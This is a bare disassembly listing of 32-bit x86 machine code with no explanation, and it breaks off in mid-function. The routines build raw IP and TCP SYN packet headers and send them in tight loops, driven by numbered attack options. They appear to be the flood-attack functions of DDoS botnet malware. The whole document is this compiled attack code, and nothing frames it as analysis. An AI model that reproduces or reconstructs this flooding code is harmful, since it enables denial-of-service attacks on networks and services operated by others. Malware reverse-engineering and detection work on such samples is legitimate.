8048751: 88 44 24 1b mov %al,0x1b(%esp) | |
8048755: 81 e2 ff 00 00 00 and $0xff,%edx | |
804875b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi | |
8048760: 89 54 24 1c mov %edx,0x1c(%esp) | |
8048764: 6a 04 push $0x4 | |
8048766: 52 push %edx | |
8048767: e8 78 48 00 00 call 0x804cfe4 | |
804876c: 89 c5 mov %eax,%ebp | |
804876e: 58 pop %eax | |
804876f: 5a pop %edx | |
8048770: 6a 04 push $0x4 | |
8048772: 8b 44 24 20 mov 0x20(%esp),%eax | |
8048776: 50 push %eax | |
8048777: e8 68 48 00 00 call 0x804cfe4 | |
804877c: 89 f1 mov %esi,%ecx | |
804877e: 89 44 24 1c mov %eax,0x1c(%esp) | |
8048782: 81 e1 ff 00 00 00 and $0xff,%ecx | |
8048788: 68 ff ff 00 00 push $0xffff | |
804878d: 89 cf mov %ecx,%edi | |
804878f: 6a 07 push $0x7 | |
8048791: 53 push %ebx | |
8048792: 51 push %ecx | |
8048793: e8 a8 fd ff ff call 0x8048540 | |
8048798: 66 89 44 24 3c mov %ax,0x3c(%esp) | |
804879d: 83 c4 20 add $0x20,%esp | |
80487a0: 68 ff ff 00 00 push $0xffff | |
80487a5: 6a 06 push $0x6 | |
80487a7: 53 push %ebx | |
80487a8: 57 push %edi | |
80487a9: e8 92 fd ff ff call 0x8048540 | |
80487ae: 68 00 02 00 00 push $0x200 | |
80487b3: 89 c6 mov %eax,%esi | |
80487b5: 6a 00 push $0x0 | |
80487b7: 53 push %ebx | |
80487b8: 57 push %edi | |
80487b9: e8 82 fd ff ff call 0x8048540 | |
80487be: 66 89 44 24 40 mov %ax,0x40(%esp) | |
80487c3: 83 c4 20 add $0x20,%esp | |
80487c6: 6a 01 push $0x1 | |
80487c8: 6a 01 push $0x1 | |
80487ca: 53 push %ebx | |
80487cb: 57 push %edi | |
80487cc: e8 6f fd ff ff call 0x8048540 | |
80487d1: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp) | |
80487d8: 00 | |
80487d9: 88 44 24 33 mov %al,0x33(%esp) | |
80487dd: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp) | |
80487e4: 00 | |
80487e5: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp) | |
80487ec: 00 | |
80487ed: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp) | |
80487f4: 00 | |
80487f5: 83 c4 10 add $0x10,%esp | |
80487f8: 66 83 fe ff cmp $0xffff,%si | |
80487fc: 0f 84 7f 01 00 00 je 0x8048981 | |
8048802: 66 c1 ce 08 ror $0x8,%si | |
8048806: 66 89 74 24 1e mov %si,0x1e(%esp) | |
804880b: 8a 44 24 13 mov 0x13(%esp),%al | |
804880f: 25 ff 00 00 00 and $0xff,%eax | |
8048814: 89 44 24 18 mov %eax,0x18(%esp) | |
8048818: 85 c0 test %eax,%eax | |
804881a: 0f 8e 0e 01 00 00 jle 0x804892e | |
8048820: 8b 54 24 14 mov 0x14(%esp),%edx | |
8048824: 8b 74 24 54 mov 0x54(%esp),%esi | |
8048828: 42 inc %edx | |
8048829: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp) | |
8048830: 00 | |
8048831: 89 54 24 04 mov %edx,0x4(%esp) | |
8048835: e9 c1 00 00 00 jmp 0x80488fb | |
804883a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
8048840: 8b 44 24 1c mov 0x1c(%esp),%eax | |
8048844: 66 c1 c8 08 ror $0x8,%ax | |
8048848: 66 89 46 02 mov %ax,0x2(%esi) | |
804884c: 53 push %ebx | |
804884d: 6a 11 push $0x11 | |
804884f: 6a 02 push $0x2 | |
8048851: 6a 02 push $0x2 | |
8048853: e8 c7 3f 00 00 call 0x804c81f | |
8048858: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
804885c: 89 c2 mov %eax,%edx | |
804885e: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048862: 83 c4 10 add $0x10,%esp | |
8048865: 83 fa ff cmp $0xffffffff,%edx | |
8048868: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4) | |
804886c: 0f 84 1e 01 00 00 je 0x8048990 | |
8048872: 66 8b 44 24 1e mov 0x1e(%esp),%ax | |
8048877: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp) | |
804887e: 66 89 44 24 2e mov %ax,0x2e(%esp) | |
8048883: 8d 44 24 2c lea 0x2c(%esp),%eax | |
8048887: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp) | |
804888e: 00 | |
804888f: 51 push %ecx | |
8048890: 6a 10 push $0x10 | |
8048892: 50 push %eax | |
8048893: 52 push %edx | |
8048894: e8 c3 3d 00 00 call 0x804c65c | |
8048899: 83 c4 10 add $0x10,%esp | |
804889c: 80 7e 14 1f cmpb $0x1f,0x14(%esi) | |
80488a0: 77 2a ja 0x80488cc | |
80488a2: 8b 5e 10 mov 0x10(%esi),%ebx | |
80488a5: e8 a6 2a 00 00 call 0x804b350 | |
80488aa: 66 c1 cb 08 ror $0x8,%bx | |
80488ae: c1 cb 10 ror $0x10,%ebx | |
80488b1: 66 c1 cb 08 ror $0x8,%bx | |
80488b5: 31 c9 xor %ecx,%ecx | |
80488b7: 8a 4e 14 mov 0x14(%esi),%cl | |
80488ba: d3 e8 shr %cl,%eax | |
80488bc: 01 d8 add %ebx,%eax | |
80488be: 66 c1 c8 08 ror $0x8,%ax | |
80488c2: c1 c8 10 ror $0x10,%eax | |
80488c5: 66 c1 c8 08 ror $0x8,%ax | |
80488c9: 89 46 04 mov %eax,0x4(%esi) | |
80488cc: 52 push %edx | |
80488cd: 6a 10 push $0x10 | |
80488cf: 56 push %esi | |
80488d0: 83 c6 18 add $0x18,%esi | |
80488d3: 8b 54 24 34 mov 0x34(%esp),%edx | |
80488d7: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
80488db: 8b 44 91 fc mov -0x4(%ecx,%edx,4),%eax | |
80488df: 50 push %eax | |
80488e0: e8 a2 3d 00 00 call 0x804c687 | |
80488e5: 8b 44 24 38 mov 0x38(%esp),%eax | |
80488e9: 8b 7c 24 14 mov 0x14(%esp),%edi | |
80488ed: 40 inc %eax | |
80488ee: 89 44 24 38 mov %eax,0x38(%esp) | |
80488f2: 83 c4 10 add $0x10,%esp | |
80488f5: 3b 7c 24 28 cmp 0x28(%esp),%edi | |
80488f9: 74 3a je 0x8048935 | |
80488fb: 57 push %edi | |
80488fc: 57 push %edi | |
80488fd: 6a 01 push $0x1 | |
80488ff: 68 ff ff 00 00 push $0xffff | |
8048904: e8 db 46 00 00 call 0x804cfe4 | |
8048909: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
804890d: 83 c4 10 add $0x10,%esp | |
8048910: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4) | |
8048914: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp) | |
804891a: 0f 85 20 ff ff ff jne 0x8048840 | |
8048920: e8 2b 2a 00 00 call 0x804b350 | |
8048925: 66 89 46 02 mov %ax,0x2(%esi) | |
8048929: e9 1e ff ff ff jmp 0x804884c | |
804892e: 8b 44 24 14 mov 0x14(%esp),%eax | |
8048932: 8d 78 01 lea 0x1(%eax),%edi | |
8048935: 8b 44 24 18 mov 0x18(%esp),%eax | |
8048939: 85 c0 test %eax,%eax | |
804893b: 90 nop | |
804893c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048940: 7e fe jle 0x8048940 | |
8048942: 8b 74 24 20 mov 0x20(%esp),%esi | |
8048946: 81 e6 ff ff 00 00 and $0xffff,%esi | |
804894c: 80 7c 24 23 00 cmpb $0x0,0x23(%esp) | |
8048951: 75 45 jne 0x8048998 | |
8048953: bb 01 00 00 00 mov $0x1,%ebx | |
8048958: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax | |
804895c: 68 00 40 00 00 push $0x4000 | |
8048961: 56 push %esi | |
8048962: 50 push %eax | |
8048963: 8b 54 24 18 mov 0x18(%esp),%edx | |
8048967: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax | |
804896b: 43 inc %ebx | |
804896c: 50 push %eax | |
804896d: e8 fc 3d 00 00 call 0x804c76e | |
8048972: 83 c4 10 add $0x10,%esp | |
8048975: 39 df cmp %ebx,%edi | |
8048977: 75 df jne 0x8048958 | |
8048979: 8b 44 24 18 mov 0x18(%esp),%eax | |
804897d: 85 c0 test %eax,%eax | |
804897f: eb bf jmp 0x8048940 | |
8048981: e8 ca 29 00 00 call 0x804b350 | |
8048986: 66 89 44 24 1e mov %ax,0x1e(%esp) | |
804898b: e9 7b fe ff ff jmp 0x804880b | |
8048990: 83 c4 3c add $0x3c,%esp | |
8048993: 5b pop %ebx | |
8048994: 5e pop %esi | |
8048995: 5f pop %edi | |
8048996: 5d pop %ebp | |
8048997: c3 ret | |
8048998: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp) | |
804899f: 00 | |
80489a0: 89 74 24 08 mov %esi,0x8(%esp) | |
80489a4: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
80489a8: 50 push %eax | |
80489a9: 50 push %eax | |
80489aa: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx | |
80489ae: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
80489b2: 51 push %ecx | |
80489b3: 53 push %ebx | |
80489b4: e8 d7 2a 00 00 call 0x804b490 | |
80489b9: 68 00 40 00 00 push $0x4000 | |
80489be: 56 push %esi | |
80489bf: 53 push %ebx | |
80489c0: 8b 44 24 40 mov 0x40(%esp),%eax | |
80489c4: 8b 54 24 28 mov 0x28(%esp),%edx | |
80489c8: 8b 54 82 fc mov -0x4(%edx,%eax,4),%edx | |
80489cc: 52 push %edx | |
80489cd: e8 9c 3d 00 00 call 0x804c76e | |
80489d2: 8b 44 24 44 mov 0x44(%esp),%eax | |
80489d6: 40 inc %eax | |
80489d7: 89 44 24 44 mov %eax,0x44(%esp) | |
80489db: 83 c4 20 add $0x20,%esp | |
80489de: 39 7c 24 24 cmp %edi,0x24(%esp) | |
80489e2: 0f 84 4d ff ff ff je 0x8048935 | |
80489e8: eb ba jmp 0x80489a4 | |
80489ea: 90 nop | |
80489eb: 90 nop | |
80489ec: 90 nop | |
80489ed: 90 nop | |
80489ee: 90 nop | |
80489ef: 90 nop | |
80489f0: 55 push %ebp | |
80489f1: 57 push %edi | |
80489f2: 56 push %esi | |
80489f3: 53 push %ebx | |
80489f4: 83 ec 44 sub $0x44,%esp | |
80489f7: 8a 44 24 58 mov 0x58(%esp),%al | |
80489fb: 8b 5c 24 64 mov 0x64(%esp),%ebx | |
80489ff: 88 c2 mov %al,%dl | |
8048a01: 88 44 24 1b mov %al,0x1b(%esp) | |
8048a05: 81 e2 ff 00 00 00 and $0xff,%edx | |
8048a0b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi | |
8048a10: 89 54 24 1c mov %edx,0x1c(%esp) | |
8048a14: 6a 04 push $0x4 | |
8048a16: 52 push %edx | |
8048a17: e8 c8 45 00 00 call 0x804cfe4 | |
8048a1c: 89 c5 mov %eax,%ebp | |
8048a1e: 58 pop %eax | |
8048a1f: 5a pop %edx | |
8048a20: 6a 04 push $0x4 | |
8048a22: 8b 44 24 20 mov 0x20(%esp),%eax | |
8048a26: 50 push %eax | |
8048a27: e8 b8 45 00 00 call 0x804cfe4 | |
8048a2c: 89 f1 mov %esi,%ecx | |
8048a2e: 89 44 24 1c mov %eax,0x1c(%esp) | |
8048a32: 81 e1 ff 00 00 00 and $0xff,%ecx | |
8048a38: 68 ff ff 00 00 push $0xffff | |
8048a3d: 89 cf mov %ecx,%edi | |
8048a3f: 6a 07 push $0x7 | |
8048a41: 53 push %ebx | |
8048a42: 51 push %ecx | |
8048a43: e8 f8 fa ff ff call 0x8048540 | |
8048a48: 66 89 44 24 3c mov %ax,0x3c(%esp) | |
8048a4d: 83 c4 20 add $0x20,%esp | |
8048a50: 68 ff ff 00 00 push $0xffff | |
8048a55: 6a 06 push $0x6 | |
8048a57: 53 push %ebx | |
8048a58: 57 push %edi | |
8048a59: e8 e2 fa ff ff call 0x8048540 | |
8048a5e: 68 00 04 00 00 push $0x400 | |
8048a63: 89 c6 mov %eax,%esi | |
8048a65: 6a 00 push $0x0 | |
8048a67: 53 push %ebx | |
8048a68: 57 push %edi | |
8048a69: e8 d2 fa ff ff call 0x8048540 | |
8048a6e: 66 89 44 24 40 mov %ax,0x40(%esp) | |
8048a73: 83 c4 20 add $0x20,%esp | |
8048a76: 6a 01 push $0x1 | |
8048a78: 6a 01 push $0x1 | |
8048a7a: 53 push %ebx | |
8048a7b: 57 push %edi | |
8048a7c: e8 bf fa ff ff call 0x8048540 | |
8048a81: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp) | |
8048a88: 00 | |
8048a89: 88 44 24 33 mov %al,0x33(%esp) | |
8048a8d: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp) | |
8048a94: 00 | |
8048a95: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp) | |
8048a9c: 00 | |
8048a9d: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp) | |
8048aa4: 00 | |
8048aa5: 83 c4 10 add $0x10,%esp | |
8048aa8: 66 83 fe ff cmp $0xffff,%si | |
8048aac: 0f 84 7f 01 00 00 je 0x8048c31 | |
8048ab2: 66 c1 ce 08 ror $0x8,%si | |
8048ab6: 66 89 74 24 1e mov %si,0x1e(%esp) | |
8048abb: 8a 44 24 13 mov 0x13(%esp),%al | |
8048abf: 25 ff 00 00 00 and $0xff,%eax | |
8048ac4: 89 44 24 18 mov %eax,0x18(%esp) | |
8048ac8: 85 c0 test %eax,%eax | |
8048aca: 0f 8e 0e 01 00 00 jle 0x8048bde | |
8048ad0: 8b 54 24 14 mov 0x14(%esp),%edx | |
8048ad4: 8b 74 24 54 mov 0x54(%esp),%esi | |
8048ad8: 42 inc %edx | |
8048ad9: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp) | |
8048ae0: 00 | |
8048ae1: 89 54 24 04 mov %edx,0x4(%esp) | |
8048ae5: e9 c1 00 00 00 jmp 0x8048bab | |
8048aea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
8048af0: 8b 44 24 1c mov 0x1c(%esp),%eax | |
8048af4: 66 c1 c8 08 ror $0x8,%ax | |
8048af8: 66 89 46 02 mov %ax,0x2(%esi) | |
8048afc: 57 push %edi | |
8048afd: 6a 00 push $0x0 | |
8048aff: 6a 02 push $0x2 | |
8048b01: 6a 02 push $0x2 | |
8048b03: e8 17 3d 00 00 call 0x804c81f | |
8048b08: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
8048b0c: 89 c2 mov %eax,%edx | |
8048b0e: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048b12: 83 c4 10 add $0x10,%esp | |
8048b15: 83 fa ff cmp $0xffffffff,%edx | |
8048b18: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4) | |
8048b1c: 0f 84 1e 01 00 00 je 0x8048c40 | |
8048b22: 66 8b 44 24 1e mov 0x1e(%esp),%ax | |
8048b27: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp) | |
8048b2e: 66 89 44 24 2e mov %ax,0x2e(%esp) | |
8048b33: 8d 44 24 2c lea 0x2c(%esp),%eax | |
8048b37: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp) | |
8048b3e: 00 | |
8048b3f: 53 push %ebx | |
8048b40: 6a 10 push $0x10 | |
8048b42: 50 push %eax | |
8048b43: 52 push %edx | |
8048b44: e8 13 3b 00 00 call 0x804c65c | |
8048b49: 83 c4 10 add $0x10,%esp | |
8048b4c: 80 7e 14 1f cmpb $0x1f,0x14(%esi) | |
8048b50: 77 2a ja 0x8048b7c | |
8048b52: 8b 5e 10 mov 0x10(%esi),%ebx | |
8048b55: e8 f6 27 00 00 call 0x804b350 | |
8048b5a: 66 c1 cb 08 ror $0x8,%bx | |
8048b5e: c1 cb 10 ror $0x10,%ebx | |
8048b61: 66 c1 cb 08 ror $0x8,%bx | |
8048b65: 31 c9 xor %ecx,%ecx | |
8048b67: 8a 4e 14 mov 0x14(%esi),%cl | |
8048b6a: d3 e8 shr %cl,%eax | |
8048b6c: 01 d8 add %ebx,%eax | |
8048b6e: 66 c1 c8 08 ror $0x8,%ax | |
8048b72: c1 c8 10 ror $0x10,%eax | |
8048b75: 66 c1 c8 08 ror $0x8,%ax | |
8048b79: 89 46 04 mov %eax,0x4(%esi) | |
8048b7c: 51 push %ecx | |
8048b7d: 6a 10 push $0x10 | |
8048b7f: 56 push %esi | |
8048b80: 83 c6 18 add $0x18,%esi | |
8048b83: 8b 54 24 34 mov 0x34(%esp),%edx | |
8048b87: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
8048b8b: 8b 54 91 fc mov -0x4(%ecx,%edx,4),%edx | |
8048b8f: 52 push %edx | |
8048b90: e8 f2 3a 00 00 call 0x804c687 | |
8048b95: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048b99: 8b 7c 24 14 mov 0x14(%esp),%edi | |
8048b9d: 40 inc %eax | |
8048b9e: 89 44 24 38 mov %eax,0x38(%esp) | |
8048ba2: 83 c4 10 add $0x10,%esp | |
8048ba5: 3b 7c 24 28 cmp 0x28(%esp),%edi | |
8048ba9: 74 3a je 0x8048be5 | |
8048bab: 50 push %eax | |
8048bac: 50 push %eax | |
8048bad: 6a 01 push $0x1 | |
8048baf: 68 ff ff 00 00 push $0xffff | |
8048bb4: e8 2b 44 00 00 call 0x804cfe4 | |
8048bb9: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
8048bbd: 83 c4 10 add $0x10,%esp | |
8048bc0: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4) | |
8048bc4: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp) | |
8048bca: 0f 85 20 ff ff ff jne 0x8048af0 | |
8048bd0: e8 7b 27 00 00 call 0x804b350 | |
8048bd5: 66 89 46 02 mov %ax,0x2(%esi) | |
8048bd9: e9 1e ff ff ff jmp 0x8048afc | |
8048bde: 8b 44 24 14 mov 0x14(%esp),%eax | |
8048be2: 8d 78 01 lea 0x1(%eax),%edi | |
8048be5: 8b 44 24 18 mov 0x18(%esp),%eax | |
8048be9: 85 c0 test %eax,%eax | |
8048beb: 90 nop | |
8048bec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048bf0: 7e fe jle 0x8048bf0 | |
8048bf2: 8b 74 24 20 mov 0x20(%esp),%esi | |
8048bf6: 81 e6 ff ff 00 00 and $0xffff,%esi | |
8048bfc: 80 7c 24 23 00 cmpb $0x0,0x23(%esp) | |
8048c01: 75 45 jne 0x8048c48 | |
8048c03: bb 01 00 00 00 mov $0x1,%ebx | |
8048c08: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax | |
8048c0c: 68 00 40 00 00 push $0x4000 | |
8048c11: 56 push %esi | |
8048c12: 50 push %eax | |
8048c13: 8b 54 24 18 mov 0x18(%esp),%edx | |
8048c17: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax | |
8048c1b: 43 inc %ebx | |
8048c1c: 50 push %eax | |
8048c1d: e8 4c 3b 00 00 call 0x804c76e | |
8048c22: 83 c4 10 add $0x10,%esp | |
8048c25: 39 df cmp %ebx,%edi | |
8048c27: 75 df jne 0x8048c08 | |
8048c29: 8b 44 24 18 mov 0x18(%esp),%eax | |
8048c2d: 85 c0 test %eax,%eax | |
8048c2f: eb bf jmp 0x8048bf0 | |
8048c31: e8 1a 27 00 00 call 0x804b350 | |
8048c36: 66 89 44 24 1e mov %ax,0x1e(%esp) | |
8048c3b: e9 7b fe ff ff jmp 0x8048abb | |
8048c40: 83 c4 3c add $0x3c,%esp | |
8048c43: 5b pop %ebx | |
8048c44: 5e pop %esi | |
8048c45: 5f pop %edi | |
8048c46: 5d pop %ebp | |
8048c47: c3 ret | |
8048c48: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp) | |
8048c4f: 00 | |
8048c50: 89 74 24 08 mov %esi,0x8(%esp) | |
8048c54: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
8048c58: 50 push %eax | |
8048c59: 50 push %eax | |
8048c5a: 8b 44 24 10 mov 0x10(%esp),%eax | |
8048c5e: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx | |
8048c62: 50 push %eax | |
8048c63: 53 push %ebx | |
8048c64: e8 27 28 00 00 call 0x804b490 | |
8048c69: 68 00 40 00 00 push $0x4000 | |
8048c6e: 56 push %esi | |
8048c6f: 53 push %ebx | |
8048c70: 8b 44 24 40 mov 0x40(%esp),%eax | |
8048c74: 8b 54 24 28 mov 0x28(%esp),%edx | |
8048c78: 8b 5c 82 fc mov -0x4(%edx,%eax,4),%ebx | |
8048c7c: 53 push %ebx | |
8048c7d: e8 ec 3a 00 00 call 0x804c76e | |
8048c82: 8b 4c 24 44 mov 0x44(%esp),%ecx | |
8048c86: 41 inc %ecx | |
8048c87: 89 4c 24 44 mov %ecx,0x44(%esp) | |
8048c8b: 83 c4 20 add $0x20,%esp | |
8048c8e: 39 7c 24 24 cmp %edi,0x24(%esp) | |
8048c92: 0f 84 4d ff ff ff je 0x8048be5 | |
8048c98: eb ba jmp 0x8048c54 | |
8048c9a: 90 nop | |
8048c9b: 90 nop | |
8048c9c: 90 nop | |
8048c9d: 90 nop | |
8048c9e: 90 nop | |
8048c9f: 90 nop | |
8048ca0: 55 push %ebp | |
8048ca1: 57 push %edi | |
8048ca2: 56 push %esi | |
8048ca3: 53 push %ebx | |
8048ca4: 83 ec 44 sub $0x44,%esp | |
8048ca7: 8b 5c 24 64 mov 0x64(%esp),%ebx | |
8048cab: 0f b6 74 24 60 movzbl 0x60(%esp),%esi | |
8048cb0: 6a 04 push $0x4 | |
8048cb2: 81 e6 ff 00 00 00 and $0xff,%esi | |
8048cb8: 8a 44 24 5c mov 0x5c(%esp),%al | |
8048cbc: 25 ff 00 00 00 and $0xff,%eax | |
8048cc1: 50 push %eax | |
8048cc2: 89 c5 mov %eax,%ebp | |
8048cc4: e8 1b 43 00 00 call 0x804cfe4 | |
8048cc9: 89 44 24 18 mov %eax,0x18(%esp) | |
8048ccd: 6a 00 push $0x0 | |
8048ccf: 6a 02 push $0x2 | |
8048cd1: 53 push %ebx | |
8048cd2: 56 push %esi | |
8048cd3: e8 68 f8 ff ff call 0x8048540 | |
8048cd8: 88 44 24 41 mov %al,0x41(%esp) | |
8048cdc: 83 c4 20 add $0x20,%esp | |
8048cdf: 68 ff ff 00 00 push $0xffff | |
8048ce4: 6a 03 push $0x3 | |
8048ce6: 53 push %ebx | |
8048ce7: 56 push %esi | |
8048ce8: e8 53 f8 ff ff call 0x8048540 | |
8048ced: 89 44 24 1c mov %eax,0x1c(%esp) | |
8048cf1: 6a 40 push $0x40 | |
8048cf3: 6a 04 push $0x4 | |
8048cf5: 53 push %ebx | |
8048cf6: 56 push %esi | |
8048cf7: e8 44 f8 ff ff call 0x8048540 | |
8048cfc: 83 c4 20 add $0x20,%esp | |
8048cff: 89 c7 mov %eax,%edi | |
8048d01: 6a 01 push $0x1 | |
8048d03: 6a 05 push $0x5 | |
8048d05: 53 push %ebx | |
8048d06: 56 push %esi | |
8048d07: e8 34 f8 ff ff call 0x8048540 | |
8048d0c: 68 ff ff 00 00 push $0xffff | |
8048d11: 6a 06 push $0x6 | |
8048d13: 53 push %ebx | |
8048d14: 56 push %esi | |
8048d15: e8 26 f8 ff ff call 0x8048540 | |
8048d1a: 89 44 24 30 mov %eax,0x30(%esp) | |
8048d1e: 83 c4 20 add $0x20,%esp | |
8048d21: 68 ff ff 00 00 push $0xffff | |
8048d26: 6a 07 push $0x7 | |
8048d28: 53 push %ebx | |
8048d29: 56 push %esi | |
8048d2a: e8 11 f8 ff ff call 0x8048540 | |
8048d2f: 89 44 24 24 mov %eax,0x24(%esp) | |
8048d33: 68 ff ff 00 00 push $0xffff | |
8048d38: 6a 11 push $0x11 | |
8048d3a: 53 push %ebx | |
8048d3b: 56 push %esi | |
8048d3c: e8 ff f7 ff ff call 0x8048540 | |
8048d41: 89 44 24 38 mov %eax,0x38(%esp) | |
8048d45: 83 c4 20 add $0x20,%esp | |
8048d48: a1 08 f1 04 08 mov 0x804f108,%eax | |
8048d4d: 50 push %eax | |
8048d4e: 6a 19 push $0x19 | |
8048d50: 53 push %ebx | |
8048d51: 56 push %esi | |
8048d52: e8 89 f7 ff ff call 0x80484e0 | |
8048d57: 89 44 24 38 mov %eax,0x38(%esp) | |
8048d5b: 83 c4 0c add $0xc,%esp | |
8048d5e: 6a 06 push $0x6 | |
8048d60: 6a 03 push $0x3 | |
8048d62: 6a 02 push $0x2 | |
8048d64: e8 b6 3a 00 00 call 0x804c81f | |
8048d69: 89 44 24 2c mov %eax,0x2c(%esp) | |
8048d6d: 83 c4 10 add $0x10,%esp | |
8048d70: 40 inc %eax | |
8048d71: 0f 84 e3 02 00 00 je 0x804905a | |
8048d77: c7 44 24 38 01 00 00 movl $0x1,0x38(%esp) | |
8048d7e: 00 | |
8048d7f: 83 ec 0c sub $0xc,%esp | |
8048d82: 6a 04 push $0x4 | |
8048d84: 8d 44 24 48 lea 0x48(%esp),%eax | |
8048d88: 50 push %eax | |
8048d89: 6a 03 push $0x3 | |
8048d8b: 6a 00 push $0x0 | |
8048d8d: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048d91: 50 push %eax | |
8048d92: e8 4d 3a 00 00 call 0x804c7e4 | |
8048d97: 83 c4 20 add $0x20,%esp | |
8048d9a: 40 inc %eax | |
8048d9b: 0f 84 a9 02 00 00 je 0x804904a | |
8048da1: 8b 54 24 0c mov 0xc(%esp),%edx | |
8048da5: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
8048da9: 8b 44 24 14 mov 0x14(%esp),%eax | |
8048dad: 66 89 54 24 22 mov %dx,0x22(%esp) | |
8048db2: 66 89 4c 24 24 mov %cx,0x24(%esp) | |
8048db7: 66 89 44 24 26 mov %ax,0x26(%esp) | |
8048dbc: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp) | |
8048dc3: 00 | |
8048dc4: 85 ed test %ebp,%ebp | |
8048dc6: 0f 8e 1a 01 00 00 jle 0x8048ee6 | |
8048dcc: 8b 74 24 18 mov 0x18(%esp),%esi | |
8048dd0: 31 db xor %ebx,%ebx | |
8048dd2: 50 push %eax | |
8048dd3: 50 push %eax | |
8048dd4: 6a 01 push $0x1 | |
8048dd6: 68 80 00 00 00 push $0x80 | |
8048ddb: e8 04 42 00 00 call 0x804cfe4 | |
8048de0: 8b 54 24 18 mov 0x18(%esp),%edx | |
8048de4: 89 04 9a mov %eax,(%edx,%ebx,4) | |
8048de7: 8b 44 24 48 mov 0x48(%esp),%eax | |
8048deb: 8b 1c 82 mov (%edx,%eax,4),%ebx | |
8048dee: c6 03 45 movb $0x45,(%ebx) | |
8048df1: 8d 53 14 lea 0x14(%ebx),%edx | |
8048df4: 8a 4c 24 31 mov 0x31(%esp),%cl | |
8048df8: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx) | |
8048dfe: 88 4b 01 mov %cl,0x1(%ebx) | |
8048e01: 66 c7 43 06 00 00 movw $0x0,0x6(%ebx) | |
8048e07: 66 8b 44 24 32 mov 0x32(%esp),%ax | |
8048e0c: c6 43 09 06 movb $0x6,0x9(%ebx) | |
8048e10: 66 c1 c8 08 ror $0x8,%ax | |
8048e14: 66 89 43 04 mov %ax,0x4(%ebx) | |
8048e18: 89 f8 mov %edi,%eax | |
8048e1a: 88 43 08 mov %al,0x8(%ebx) | |
8048e1d: 66 c7 42 0e ff ff movw $0xffff,0xe(%edx) | |
8048e23: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
8048e27: 66 c7 42 10 01 00 movw $0x1,0x10(%edx) | |
8048e2d: 89 4b 0c mov %ecx,0xc(%ebx) | |
8048e30: 8b 4c 24 64 mov 0x64(%esp),%ecx | |
8048e34: 8b 44 24 48 mov 0x48(%esp),%eax | |
8048e38: 66 c7 42 12 01 00 movw $0x1,0x12(%edx) | |
8048e3e: 8d 04 40 lea (%eax,%eax,2),%eax | |
8048e41: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax | |
8048e45: 89 43 10 mov %eax,0x10(%ebx) | |
8048e48: 8b 44 24 34 mov 0x34(%esp),%eax | |
8048e4c: 66 c1 c8 08 ror $0x8,%ax | |
8048e50: 66 89 43 14 mov %ax,0x14(%ebx) | |
8048e54: 66 8b 44 24 36 mov 0x36(%esp),%ax | |
8048e59: 66 c1 c8 08 ror $0x8,%ax | |
8048e5d: 66 89 42 02 mov %ax,0x2(%edx) | |
8048e61: 89 f0 mov %esi,%eax | |
8048e63: 66 c1 c8 08 ror $0x8,%ax | |
8048e67: 25 ff ff 00 00 and $0xffff,%eax | |
8048e6c: c7 42 08 00 00 00 00 movl $0x0,0x8(%edx) | |
8048e73: 89 42 04 mov %eax,0x4(%edx) | |
8048e76: 8a 42 0c mov 0xc(%edx),%al | |
8048e79: 83 e0 0f and $0xf,%eax | |
8048e7c: 83 c8 50 or $0x50,%eax | |
8048e7f: 80 4a 0d 02 orb $0x2,0xd(%edx) | |
8048e83: 88 42 0c mov %al,0xc(%edx) | |
8048e86: c6 43 28 02 movb $0x2,0x28(%ebx) | |
8048e8a: c6 43 29 04 movb $0x4,0x29(%ebx) | |
8048e8e: e8 bd 24 00 00 call 0x804b350 | |
8048e93: 83 e0 0f and $0xf,%eax | |
8048e96: c6 43 2c 04 movb $0x4,0x2c(%ebx) | |
8048e9a: 05 78 05 00 00 add $0x578,%eax | |
